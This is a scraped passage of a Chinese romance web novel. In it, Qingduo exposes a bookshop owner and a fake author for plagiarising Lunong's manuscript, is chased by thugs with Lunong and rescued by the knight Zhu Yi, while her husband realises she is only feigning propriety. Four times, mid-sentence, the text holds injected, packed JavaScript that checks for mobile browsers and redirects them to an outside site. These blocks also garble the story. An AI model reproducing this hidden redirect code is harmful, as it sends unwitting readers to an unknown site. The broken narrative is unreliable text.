“若他日她闯出什么大祸,还望你念在我的面子上,宽宏大量,不要计较,我可以跟你保证,她绝对没有恶意,只是散漫惯了。还请你多包涵呐!” “岳父多虑了,夫人是非之事上自有分寸,不会闯出祸事。” “至于她心性洒脱,”曾正卿微微一笑,“小婿甘之如饴。” * 与爹和好后,青朵就时不时地过来学画。爹在日常对她要求有多宽松,学画时对她就有多严厉。一个线条不稳,就要从头画起。青朵不禁叫苦连天,唐礼瞪眼训道:“不付出就想求成?吾未闻也!” 更是不留情面吩咐:“晚上回家再画五幅,不,十幅!” 要命了! 青朵回去先在床上摆个“大”字,听到曾正卿回来的脚步声,连忙爬起,端坐桌前“用功”。在曾正卿的夸赞声中里,只能埋头苦画,慢中偷懒,直到休息时,也不过完成三幅。第二天一早曾正卿要用马车捎她一程,她连连拒绝,待他一走,就偷溜出门。 反正没画完会被爹骂,溜出去玩也会被骂,那就不如出去耍,就算被骂也值了。 她漫无目的地沿街走,一会儿摸摸银匠的手艺,一会儿瞧瞧新吹的糖人,嫁人之后的第一次自由,让她生出恍若隔世之感。不知不觉,来到之前卖画被拒的书铺,勾起她的不堪回忆,不由得停住脚步。 望着门口人来人往,她有些懊悔自己的偷懒任性,暗道:唐青朵,你再不用心,下次被拒绝的,还是你! 一时间坚定信念,就要转身去爹那里学画,还没走几步就听到路人说道:“没想到子翩这么美。” “对啊!又有才华,又漂亮,不愧是我思慕的作者!” 子翩?这名字实在让人耳熟!是在哪听过呢?青朵停下脚步正思索着,无意中瞥到她们手中的书册,上面写着《画堂春》。 这不是她为修炼成大家闺秀,奉为圭臬的经典嘛!她顿时精神一振,顺着人流走进书铺,原来今日子翩在店里卖她写出的中册,青朵拨开人群,挤上前买下一本,子翩端坐堂中,戴着白色面纱,一举一动优雅高贵,她向着买书的客人行礼,笑意温柔,连声说道:“谢谢。” 啊!她居然对自己说“谢谢”!青朵激动道:“我才要感谢你!书中的沈思瑶让我受益良多!” 她急切地追问道:“姐姐,什么时候出下册?我一定来买!” 还未等子翩回答,就听到有人大喊:“这本书不是她写的!她是个骗子!” 书铺里顿时安静下来,所有人都看向声音来源,一个瘦削的女子站在门口,颧骨微凸,冷冽的眼神直勾勾盯着子翩,像是锐利的刀,要把她攮在地上。 马上有人反应过来,喝道:“你胡说!子翩不是这样的人!” 其他人纷纷应和:“对啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15406941|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你血口喷人!” “你们不信问她!”那女子指向子翩,冷冷道,“你敢对天发誓,这本书就是你写的吗?” “你让发誓就发誓?凭什么听你的!”店中人们不满道。 “没关系,如果发誓能消除误会,我愿意发誓。”子翩款款走上前,一手指天,一手指地,莺声燕语道:“天地为证,我子翩发誓,这本书是我写的。若有虚假,甘愿受到上天的惩罚!” “你,你说谎!”那女子没想到子翩真的会发誓,不禁急道,“你竟然敢对天地说谎!真是毫无敬畏心!” 她转头对众人说道:“大家不要相信她!她不光剽窃我的作品,还欺骗上苍!这样的人,不值得你们追捧!” 在见到那女子的第一眼,青朵就觉得自己似乎在哪里见过她,随着她与子翩的对峙,身上的倔强唤出她的记忆,这不是在霁月庵碰到的“斑鸠窝头”吗?只不过她今日梳着一个发辫,不似当日毛糙,倒废了她一番功夫才想起来,当时庵里的师太好像是叫她为“露浓”。 虽然两人没有深入的了解,但只是短暂之交,足以看出她是个脑袋不灵动的呆瓜,青朵沉吟着,这种人应该不会撒谎。 她出声问道:“你可有证据?” 露浓被她点醒,连连说道:“有,有!”她摘下背在身后的包裹打开,里面是一张张书稿,她边分发边说:“大家请看!这是我原来的书稿!子翩只是改了书名和人名,其他的都照搬无误,不是剽窃是什么!” 青朵也分到一张,纸上字迹娟秀,少有勾抹,她仔细读来,确实是《画堂春》上卷的内容,只是里面的人名不同。心里已经信了大半。 周围人议论纷纷,青朵问道:“子翩姐姐可有手稿为证?” 子翩冷笑道:“我的《画堂春》光是吴州城内,就不止印发了几千册,一个区区手稿,就能作为证据?哼,她说不定是看了我的书,抄写下来,就是为了讹我!” “天啊,天啊!我父亲教我做人要坦荡真实,不可行弄虚作假之事!你实在可恶!抄了我的书,现在还倒打一耙!”露浓牙关咬得咯咯作响,脸涨得通红,她气愤道。 “谁在这里大吵大闹?”一人从里屋走出,是青朵熟悉的“虾掌柜”,露浓见了他,仿佛看到救星,喊道:“赛掌柜!当时我把书亲手交给你,你可以为我作证!这本书是我写的!我的书早于《画堂春》!” 赛掌柜皮笑肉不笑道:“哦?你是哪位?你说的事,我怎么不记得?” 露浓急道:“你怎么会不记得!当时你说需要时间仔细读一读,就让我留下稿子回去等,几天后才说明拒收,把稿子还我……”她突然停下来,来回看赛掌柜和子翩,看到他们讥讽的神情,突然醒悟道:“你们,你们是一伙的!” 露浓的眼睛仿佛要喷出火来,她怒道:“好歹毒的贼!” 21. 追杀 “唉——”青朵长叹一声,这个姐姐太弱了!不吃亏才奇怪!看她的样子,也是穷苦人家的女儿,难道不知道他们这些小人物的活法?不大吵大闹,撕破脸面,怎么能夺回自己应得的东西? 青朵越来越觉得露浓所说为真,除了她身上的老实气质,那个不能欣赏自己画作的“虾掌柜”,一看就不是什么好东西! “真不要脸!居然敢说子翩抄她!” “子翩一看就是才华横溢的人,瞧她一副穷酸样,真是为了钱无所不用其极!” 谩骂声从四面八方传来,露浓孤立无援之际,青朵钻出人群,清清嗓子,大声道:“在场的姐姐妹妹,听我一言,瘦麻杆姐姐都不会吵架,又哪来得心眼骗人呢?我觉得她说的可能是真的!” 只有几人犹疑不定,人群中激进者痛斥道:“大胆!侮辱我们子翩!你们俩是一伙的!” 一句话,犹豫的人又清醒过来,加入讨伐的人群:“对!你们是一伙的!” “助纣为虐,实在可恶!” 青朵登时目瞪口呆,她不过就说了一句感想,怎么就变成臭老鼠人人喊打?子翩的追逐者实在可怕!他们坚定相信子翩——不,他们是相信自己想信的,毅然挡在子翩身前,像无数柄高举的九齿钉耙,但凡你所言不如意,就戳你几个窟窿。 有这样的执着,他们做什么事都会成功的! 于是,她和露浓被推搡到门外。 “九齿钉耙”们不仅驱赶她俩,还有不少趁机动手,又掐又拧,虽说露浓有良心抱住她,她还是挨了好几下,早上芳晴梳的飞仙髻也已坠落凡间。 青朵撩起垂在面前的头发,像被激怒的公牛,愤愤地就要往里冲,露浓一把拦下,她悲戚道:“算了,我认了,多谢姑娘帮我说话,还连累你挨打。” “你认了?”青朵惊讶地瞪大双眼,满眼都是不可思议,“这才哪到哪,你就放弃啦?” “我就问你,这书是不是你写的?” 露浓叹气,点了点头。 “那就不要放弃!” 露浓怔怔地望向她,青朵斩钉截铁道:“没有坚持到最后,不能轻易说不行!” 对!她才不要放弃!明明自己是正义的那一方,却被当众赶出来,在哪丢的人,就要在哪找回来! 她“咚咚咚”向前踏上几步,双手叉腰站在店门前,大骂道:“姓赛的,姓子的!有能耐出来比划!你们合伙设计圈套,抢夺别人的作品,真是坏透了!你们就该遗臭万年!” “赛掌柜,你也别叫什么‘赛掌柜’,改叫‘赛猪粪’‘赛牛粪’,什么臭就赛什么!反正你做的事都臭烘烘的!” 她“泼辣”的叫骂声吸引不少路人围观,不多时就里三层外三层,青朵转而对路人们,义正词严道:“大家瞧好了!就是这家店!骗了这位姑娘!把她辛苦写的话本子,改了书名和人名,署上别人的名字!这行为就跟,就跟——” 对抱着婴孩的母亲说:“就跟抢走亲生孩子一样,”那母亲蓦然抱紧孩子; 对推着车子贩卖时蔬的小贩道:“就跟卖完菜的钱被偷走了一样,”小贩不自觉地按住钱袋子; 对头秃的大叔道:“就跟精心养护的独苗突然被拔掉了一样,”大叔一把掌盖住自己的头顶; “都是卑鄙下流的行径!”她悲痛欲绝指着露浓:“现在大家能了解,这位姑娘有多心痛了吧!” 在一旁的露浓早就看傻眼,当大家的目光投到自己身上,多日的委屈涌上心头,她眼圈一红,不由得落下泪来。 青朵揽她走到人群身边,情真意切道:“各位,想必要不已为人父母,要么家中也有兄弟姐妹,倘若你们的女儿,姐妹被欺骗,被羞辱,怎能咽下这口气!” “这位姑娘,荆钗布裙,就像我们的女儿,就像我们的姐妹,她和我们一样,都是普通的平民,却被无良掌柜欺负,他欺负的不是一个姑娘,而是我们在场的所有百姓!” “没错!”大家纷纷表示赞同,义愤填膺道,“他就是仗势欺人!” 青朵身子一转,站在人群中央,振臂高呼:“还钱!” 所有人举手跟着喊:“还钱!!!” “还书!”青朵又喊。 “还书!!!” 浩大的声势宛若海潮要将书铺淹没,还有新的浪花涌入,路过的大婶,寻亲的女儿,都站在亲人朋友身边,融入浪潮中。甚至还有一群孩童,咿咿呀呀地跟随青朵挥舞着。 面对真正的力量,“九齿钉耙”们不敢直面抗衡,他们缩在书店暗处,没想到一时之间情况翻转,自己这一方倒成了阴沟里的老鼠。 赛掌柜用手帕擦着脸上的汗,弓着身子走出书铺,抱拳道:“各位乡亲,各位近邻,大家行行好……” 青朵声音嘶哑:“这时候知道我们是乡亲,是近邻,骗我们的时候我们就不是了?拒不承认的时候,我们就不是了?” “不不不,是小人错了,我有眼不识泰山,我……” “小人!”青朵喝道。 “对对对,小人,小人想起来了,这位姑娘说的没错,这本书是她先给的我,是我记错了,啊不,我也是被子翩哄骗了,不知道她从哪抄袭了这本书拿给我,我就以为是这位姑娘抄的,所以就……” “好啊赛林甫!明明你和我爹商量好,我家印刷上给你优惠,你就把我捧成名家,现在出了事,一盆脏水全扣我身上了!我这就回家告诉我爹去!叫他以后,再也不跟你做生意!”子翩嚷嚷道,气冲冲头也不回地走了。 “欸!子翩!哎呀,我刚才都跟你说好……”赛掌柜想要冲出人群追回她,却被青朵揪住后面的领子,拽了回来,他对上青朵冷冰冰的目光,笑容像九月菊一般绽放。 青朵冷冷道:“别走啊,既然你已经承认这本书不是子翩,是这位姑娘的,那什么时候还钱啊?” 人群里顿时响起呼应声:“对,还钱!”“还钱!” 一声声怒吼像是炸雷响在耳畔,赛掌柜继续抱拳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411610|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赔笑道:“现在就还,现在就还!” “你听着,除了马上还钱,以后这个故事,不许以子翩的名义再印刷,再出售!倘若让我们在市面上发现一本,我都要替这位姐姐要回这一本的钱!不义之财,你别想赚一分一毫!”青朵大声道。 “好!”人群中爆发出喝彩声与掌声。赛掌柜灰溜溜地进屋取出一张银票,递给青朵,青朵从容接过,周边伸出一圈好奇的脑袋,她“啪”的一声,将银票合在掌心,与他们逐一对视,见他们知趣后退,才走到露浓身边,露出一道缝,示意她自己瞧。 露浓眯着眼睛看清之后,冲她点头,青朵将银票折起,塞到露浓手中,拍拍手,对赛掌柜轻描淡写道:“退下吧。” “哎!”赛掌柜吁了一口气,快速转身逃离人群,后背晕开大片深色汗渍,像是泥鳅的脊背,一钻就不见了。 * 办成一件大事,青朵哼着小曲继续溜达,只不过后面多了个伴。 “你跟着我干什么?”青朵问道。 “你帮我这么大忙,我还没有感谢你。”露浓拘谨道。 “不——用,”青朵毫不在意,“我并不是图你的感谢。” “我知道,妹妹是侠肝义胆。”露浓由衷地敬佩道。 青朵得意起来:“嗯,你说是就是吧!” “只是,我感觉好像在哪见过你。可又想不起来了。”露浓犹豫道。 青朵突然停住脚步,露浓一时躲避不急,差点撞上去,青朵慢悠悠转身,说道:“我和你,有六十文的缘分。” “六十文?”露浓疑惑不解。 “霁月庵的三颗橘子。”青朵一字一句道。 露浓瞪大眼睛:“竟是你?我们之间有不快,你却能不计前嫌帮助我!”接着又叹道:“没想到你年龄不大,但胸怀宽广,义薄云天,” 嘻嘻,爱听!青朵的嘴角快要翘到天上去,她刚要回答露浓,之前的账,早就因为她摔了一个屁股蹲儿扯平,当然了,她当然不是斤斤计较的人。这时,余光却瞟到远处有三个壮汉,手持木棍,鬼鬼祟祟往这边瞧,见她望他们的方向看,壮汉们一闪身不见了。 青朵暗叫不好,她拉起露浓的手往前走几步,突然又停下往回看,看到他们来不及躲藏的半边身影。 “怎么了?”露浓见她盯着后面,也频频探头。 青朵拽着她飞快地走,低声道:“有人跟踪咱俩。” “啊?是谁?” “别管了,逃命要紧!”青朵手心冒汗,还能是谁,刚才刚得罪过的,也就那一个! 前面仍是一趟商铺,人群熙熙攘攘。露浓急喘气指着前面左侧岔路:“我们从那拐,那里面是一条小路,甩掉他们!” “不行!” 去什么小路,那绝对是自找死路! “往人多的地方跑!”青朵说完,带着露浓飞奔起来。 这事她有经验,小时候她教训笑话她家穷的臭小子,就专挑僻静的地方! 22. 答案 再热闹的街也有跑完的时候,加上青朵成为“贵妇”,疏于挑水,跑上一段就气喘吁吁,甚至都不如瘦骨如柴的露浓。 “快跑!”露浓拼命拉扯她的胳膊。 “不,不行!”青朵断断续续,她捂住左侧腰腹处,痛苦道,“一呼吸,就疼!” 露浓一咬牙蹲在前面:“快上来!” “不不不,”青朵惊慌地拒绝,但手臂却诚实地攀上露浓的脖子,她向上一跳,蹦到露浓背上。 露浓踉跄了一下,搂住青朵的腿,咬牙继续跑,她既高估自己的力气,也低谷青朵的重量,没跑几步,脚步虚浮,跪倒在地上。 青朵一声惊呼,赶紧从她背上翻下来扶她,露浓借着她的力量想起身,一使力,膝盖的剧痛让她难以忍受,她身子歪倒在地上, “你自己跑,我不行了。”露浓忍住疼痛,直推青朵道,“你快走。” 眼看着后面几人扛着棍棒走近,青朵吓得腿都在打颤,可她不能丢下露浓不管。左右两边都是的住家,虽关上门,说不定会有人,她打定主意,发出一声暴鸣—— “来人啊!有人强抢民女啦!” “这时候知道害怕,顶撞我们赛掌柜的时候,胆子不是挺大的!”为首的嘲笑道。后面两人闻言大笑。 果然是“赛牛粪”搞的鬼!是她失算了,没想到这老家伙还有后手。她怒目而视,依旧大声喊道:“救命!救命!” “别喊了,没人会来的,看你们细皮嫩肉的,哥哥们会疼你们,轻点下手。”说着,前面的一挥手,他们拎起手中的棍子,缓步向前。 青朵顾不上自己腹痛,俯身将露浓的胳膊搭在自己的肩上,揽住她的腰,用力拖她起来,露浓勉强起身,双腿站直,钻心的疼痛传来,她腿一软,挂在青朵身上,她还是无法行动。 望着他们阴森的神情,青朵暗暗叫苦,这回真是叫天不应叫地不灵,她唯一能做的,就是紧紧搂住露浓,而露浓也尽力用自己的身躯包裹着她。两个人像是失去母猫的奶猫,依偎在一起,面对穷凶极恶的敌人,只能极尽愤怒之情,横眉瞪眼,张开嘴巴:“哈!” “慢着!” 在场的所有人都没想到还有旁人的存在,三个壮汉动作一顿,回头望去,只见一个圆脸少年抱臂从远处走来,乌发高高束成马尾,他的下巴微微扬起,虽不是站在高处,目光高高在上,睨向壮汉,说道: “跟你们一路了!看你们从店里出来,我就觉得不对,果然是要对这两个姑娘下手!” “表面服输,背地耍阴招,无耻至极!” 为首壮汉冷笑道:“谁家的毛小子,敢拦我史春大爷的好事!去去去,一边玩去!”说罢,不再理会,抡起棍子,还未等落下,感到身后起一阵疾风,棍子就被人牢牢拽住了。他下意识拽了拽,却纹丝不动,扭头一看,握住他棍子的,正是那少年。 “我劝你们赶紧滚,小爷我的拳头可是硬得很,拳拳专打混蛋!”那少年冷冷道。 “小兔崽子!你先尝尝你大爷我的拳头!”史春挣了几下,仍然无法把棍子从他手上挣脱,恼羞成怒,左臂抡圆,一拳冲少年脸部砸去。 “小心!”青朵不禁出声提醒,只见少年头一偏,轻松避过,一拳直捣史春腹部,还未等他呕出的血落地,后续的拳头铺天盖地而来,他捂着肚子跪伏在地上。后面两人抡棍来袭,他反身持棍格挡,飞起一脚将其中一个踹飞,反手打落另一人手中棍,趁其不备,一棍劈向他膝窝处,那人一屁股跌坐在地上,力道之道,连青朵都感受到震动。 在满地“哎呦”声中,响起清脆的掌声,青朵兴奋道:“小哥哥,你太厉害了!” 少年面有得色,摆手道:“过奖了,我‘玄虎侠’朱熠不过是做了该做的罢了!” “悬乎侠”?青朵惊诧,这人竟是吴州城有名的“悬乎侠”!听闻此人最爱除暴安良,行侠仗义,但之前听到这个绰号,还以为他是个很不牢靠的人,可没想到,见到这人却发现,人挺不错的嘛!不光人长得英气勃发,还救了她们。 就是不知,怎么起了这样奇怪的绰号。 那两个被打得比较轻的人慢慢爬起,扶起他们的大哥,一个还想冲,却被史春拦住,他喘着粗气道:“原来,原来是朱兄弟,失敬失敬,今日我们行事,也,也是奉命,既然朱兄弟出手,那,那便看在你的面子上,不追究了。” “哼!”朱熠看都不看他们,喝道,“谁是你朱兄弟!还不快滚!” 等那三人狼狈离去,青朵放下露浓,让她在地上坐好,自己蹦到朱熠面前,一本正经抱拳,脑袋转着圈拗来拗去道:“原来是‘悬乎侠’朱熠朱兄,久仰大名,真实幸会幸会。” 朱熠不好意思地摸后脑勺:“你一个小姑娘也知道我的名字?” “那当然!你的名字在吴州城,那可是妇孺皆知!我是妇,我当然知!今日多亏有你,我和露浓姐姐才幸免于难,哪天我请你喝酒!”青朵挺胸抬头,学着她见过为数不多的江湖人士,拍得胸膛“咚咚”响。 朱熠“嘿嘿”笑着,说道:“你说话倒爽快,我喜欢!哪能让姑娘家请我,我请你们!走啊!” “现在可不行,”青朵忙道,“露浓姐姐受伤了。” “露浓?”朱熠这才将视线投到露浓身上,她侧身坐在地上,眼尾泛红,脸上还残留着泪痕,面色因腿上疼痛而苍白,皓齿浅咬唇瓣,与朱熠对视的一霎,她垂下眼。 楚楚可怜的柔弱,似一道重锤,猛地砸开朱熠的心墙,他呆呆地望着露浓,眼见她一抹薄红顺着脖颈蔓延至脸庞,像是玉人披上红纱。 露浓感受到他的注视,头压得更低,这时听到青朵问她:“姐姐,你家在哪?你走不得路,我送你回去。” 露浓低声道:“我就住在霁月庵,离这里很远,不劳烦你送我。” 青朵为难道:“你的腿脚怎么方便呢!可霁月庵实在太远了,我得按时回家才行。”她不回去,卿卿会着急的。 “我雇一辆马车,送姑娘回去吧!”朱熠突然道。青朵一怔,随即笑道:“这再好不过了!果然还是朱大哥思虑周全,有朱大哥在,我还有什么放心不下的呢!” 露浓不想麻烦别人,慌乱地推辞,在场的两个人却在一个思路上,完全不理会她的想法,朱熠迟疑道:“只是此处马车不易进来,我们还是得出去才行,那个……”他突然在衣上搓搓手,走到露浓面前又道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427623|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “露姑娘,失礼了!”说完便一手抄到露浓膝弯,一手搂住她,轻松将她抱起。 “你,你……”露浓面色羞红,说不出话来。 朱熠直视前方,完全不敢低头看,大步向前迈,身体直僵僵的,像是久未上润滑的机关,似乎还能听到杂乱的吱呀声。 青朵欢快地跟在后面。嘿!她就说自己是有福气的人吧!瞧,总是能化险为夷! * 天还未完全落幕,已有弯月影影绰绰挂在空中。 青朵哼着小曲回到曾家,一进屋,发现曾正卿早在她前面到家,坐在桌前写着什么。她眼睛一亮,冲了过去:“卿卿!你今日回来得真早!” 真好!自己一回家就能见到他!她可是有一肚子话要告诉他呢!尤其是自己最得意的手笔——惩恶扬善帮助露浓,还有被追杀的惊险,遇到吴州城的风云人物朱熠,这一日过得实在太精彩了! “是夫人回来得真晚才是。”曾正卿放下笔笑道,“果然夫人爱画,都忘却时间。” “卿卿,我跟你说!”青朵激动道,眼光不经意间,落到桌上大大小小的盒子上,她奇道,“咦,这些是什么?” “夫人如此勤勉,为夫岂能无动于衷?特意订购笔墨颜料,助夫人畅意挥毫,绘尽心中色彩。” 青朵颤抖地打开一个又一个盒子箱子,澄心堂的纸,湖州的笔,歙州龙尾砚,还有一应俱全的各种颜色……这在之前,就算她画十辈子春宫图,都买不来这么多好东西! 她热泪盈眶:“卿卿!”喜悦到了顶点,是语言也无法表达的。 曾正卿笑吟吟地看着她,问道:“对了,你刚才要说什么?” 一盆水浇到头上,青朵瞬间从亢奋中冷静。说什么?说自己没去画画,逃学去游街?那怎么配使用这些昂贵精美的画具画材? 快把嘴巴闭得紧紧的! 青朵讪讪道:“没,没什么,我就是看到你高兴。” 幸好曾正卿只是宠溺地抚摸她的头,不再追问,青朵心中有愧,她暗暗发誓,自己以后坚持学画,不逃学了。 * 一连几日早上,青朵都昏睡不醒,曾正卿自己起身穿衣,他本也不用青朵伺候。今早青朵随他一同起床,规规矩矩地服侍他,笑不露齿,走路也与往常不同,像蚕蛹竖起扭动,之前的异样感觉又涌上心头。 曾正卿刚出门行至不远,想起昨日写的书信未拿,折身返回,院中仆人不知都散去哪里,一人也无,他直接走到门口,刚要开门,就听到屋里青朵叽叽呱呱的说话声: “芳晴!嫁给卿卿可真好!” 曾正卿不禁失笑,整个人像沐浴温泉中,自里到外,温暖如春,他手抚门扇,嘴角露出温柔的笑意。虽觉得偷听不太光彩,身子却立在门外一动未动。 只听她续道:“我辛苦装大家闺秀,扮演端庄淑女,总算是没白费!” 曾正卿一怔,不由得纳闷,他这夫人,何时像“大家闺秀”? 想了又想,仍是百思不得其解。忽地想起今早之事,联想起婚后无数个异样的清晨,一个念头自脑海闪过,他猛然醒悟。 夫人那些莫名其妙的奇奇怪怪,莫非就是“扮演端庄”? 23. 诊断 夫人她为何这样? 曾正卿疑惑不解,何况,自己并没有看出来,这就是她想要达到的“端庄”。就算是她自己也并不适应,这些奇怪的情景只是偶尔出现,大多数时候,她还是真实的样子,想来是她自己也忘了假扮。 唉,算了,自己一直跟不上她的想法,便趁此时告诉她,叫她不必“怪异”下去,每次他看到她自以为是的“贤淑”,都觉得心有余悸。 曾正卿手放在门上,刚想打开,又听到青朵兴奋地说道: “正是我不懈努力,执着‘端庄’,卿卿才会对我很好,还给我买昂贵的颜料画材,这以前我都用不起呢!今后,我要继续‘贤良淑德’,好好回报他!嗯,他会给我带更多珍贵的礼物!” 门外的曾正卿险些呛笑出声,原来如此,她竟然把自己的这番情意,错以为是喜爱她“端庄”的奖励,当真是辜负了他的深情,他无奈地低声说道:“傻瓜。” 她是怎么把自己对她好,与“端庄”联系在一起?更要以对自己刻板的束缚来作回报,他的喉间泛起一丝苦笑,这叫他如何消受得起? 不过一瞬间,曾正卿的嘴角闪过一丝笑意,这阴差阳错的误会,未尝,不是件趣事。他立于门外,倒生出十分,想将这误会细细玩味的兴致。 里面的芳晴似乎也同样困惑:“少夫人,什么叫‘扮演端庄’?” 青朵似乎察觉自己失言,含糊道:“嗯,嗯,哎呀这个嘛,那个芳晴,我今天想带些点心去学画,你帮我准备一下。” 芳晴应了一声,似是朝房门这边走过来,曾正卿闻声立即转身,匆忙几步退到院门口,当芳晴打开屋门的时候,正好看到他刚从院门稳步走进。她马上提醒青朵:“少夫人,少爷回来了。” 青朵匆匆走出,双手交叠放于身前,缓缓顿下,嘤嘤道:“夫君——万安——” 曾正卿暗自咬唇,才没笑出来,他双手背在身后,淡淡道:“起来吧!” 青朵盈盈起身,语速缓慢道:“不知夫君,为何返回?” 他故意道:“为夫忘带一物,劳烦夫人为我取来。” 青朵的眉峰陡然蹙起,这么近的路,自己不能走吗?非让她去取? 曾正卿看出她的不情愿,他轻咳一声,说道:“夫人一向‘端庄娴雅’”他特意把“端庄”二字咬得很重,“不过是举手之劳,不会不愿……” “不会不会,愿意愿意!”青朵连忙回应,她取了信跑到曾正卿身前交给他,脸上是讨好的笑:“你瞧,夫君,我给你取来了。” “夫人当真贤惠。”曾正卿垂眸掩藏眼底笑意,声音中带了几分揶揄,他将信揣进袖中,转身欲走,忽又想起一个主意。嘴角勾起一个狡黠的笑,既然她误以为自己喜爱“贤德”,倒不如顺水推舟,助她一臂之力。 “对了,我书铺里新来了一份《女训》《女诫》的注疏,颇得时人赞誉。夫人不如读一读,书中内容与夫人秉性相合,定能受益良多。”他半侧过身,欣赏青朵的错愕,微微一笑道,“我明日便着人送来。” 青朵愣住,啥?啥训?啥诫?又训又诫的怎么可能与她秉性相合!看来自己虽是假扮,但甚为真实自然,连卿卿都不疑有他。她心中暗暗叫苦不迭,嘴上却说道:“多谢夫君,我会细读慢品,不辜负你的心意。” 刹那间,青朵对着《女训》《女诫》抓耳挠腮的模样,呈现在他的眼前,光是想象满是懊恼的娇憨模样,就觉得自己再也按捺不住笑意,他忙背过身,在她看不见的地方,绽开笑意,阔步离去。 青朵不禁跟到院外,等他走远,犹豫道:“芳晴,我怎么觉得夫君他……好像很高兴?” 芳晴眨眨眼:“谁见了少夫人能不高兴呢?” 虽然她说的也没错,只是……青朵盯着曾正卿轻快的身影,他是不是过于快乐了? * 青朵拄着扫帚立在院中,抬头细瞧头上的杏树。一颗颗杏子,像葡萄似串在树枝上,压弯了枝条。望着橙黄的颜色,仿佛果肉已经在嘴里炸开,甜甜的汁水流淌在齿尖,青朵不禁咽了咽口水。 一个木盆出现在眼前,里面的杏表面还有水珠颤动,露浓端着盆笑道:“井水刚洗的,冰凉可口,快吃!” 青朵嘻嘻一笑,接过杏子咬了一口,就听到果肉“砰”地一声,香甜的滋味迸发出来,在炎热的天气吃上几个,正解暑。青朵边吃边说道:“露浓姐姐,朱大哥给你找的这处住所真好!不光租金便宜,租房子还送一树杏,划算极了!” 露浓原本身上没有多余银钱,一直在霁月庵暂住,霁月庵人来人往,在庵中写故事终是不便,幸亏青朵帮她要回话本的费用,她就用一部分租了这个院子。朱熠和青朵帮她收拾院子,她很快就搬进来。 “青朵,你又帮我讨回钱,又帮我打扫,我都不知道怎么感谢你才好。”露浓带着歉意道。 “哎呀露浓姐,你又来了,上次我们不是说好了吗?你只管好好写《画堂春》的下册,我是你忠实的读者,我还等着看呢!” 她的眼眸中满是热切:“你最近写了没有?” “写是写了,不过只有一点……” “在哪在哪在哪?”还不等她说完,青朵就迫不及待打断,像个寻找食物的老鼠,东瞅瞅,西嗅嗅,仿佛能闻到纸稿的气味似的。 “就在我屋中的桌子上……”还不等露浓说完,青朵之箭已经离弦而去,露浓赶忙接住将要倒下的扫帚,无奈地笑笑,继续扫地。 扫地的沙沙声渐歇,整个庭院都已打扫完毕。青朵还没有出来露面,露浓纳闷地向里面张望,她也没写几页,按理说青朵应该已经读完,她将扫帚靠墙立好,在粗布围裙上擦去手上灰尘,跨过门槛进屋。 “还没读完吗?”露浓随口问道,见青朵背对着她坐在椅子上,手里擎起她的书稿,一动不动,她感到奇怪,唤道:“青——” 刚叫出她名字中的第一个字,走到她身前,露浓就看到她呆滞的神色,她赶忙轻拍青朵肩膀,惊讶道:“你怎么了?怎么这样失魂落魄?” 青朵像是大梦初醒,她茫然地望向露浓,眼睛的焦点还没有凝聚,她说道:“哦……” 露浓拿过自己的稿子,又读了读,她问道:“是哪里写得不流畅吗?这一段写的是沈思瑶,不,现在用回我的女主名字,尹知许凭借新的身份回到谢家复仇,久未有孕,所以婆婆周氏刁难她,挑拨她与丈夫的关系,想让儿子休了她。” “你觉得文中哪里有疏漏?若有不妥之处,但说无妨,我重新琢磨,重写一段。这也是对我的帮助。” “我……”青朵的眼睛逐渐回神,她重重地叹了一口气,低声喃喃道:“我竟忘了这件事。” 嗯?说什么嗯?露浓摸不着头脑,正欲询问,青朵倏地站起,一溜烟跑向门外:“露浓姐下次见!我先走了!有事!” “到底哪里写错了?”徒留露浓站在原地,盯着稿子,读了一遍又一遍,还是一头雾水。 * “不是告诉你,你爹这两天去登山,叫你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440094|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来了吗?”葡萄架下,珠娘看着青朵连喝两杯水,用扇子给她扇风,“大热天的,你来就来呗,跑什么,小心伤暑。” “十万火急。”青朵放下水碗,严肃道:“珠姨,我问你,怎么才能生孩子?” 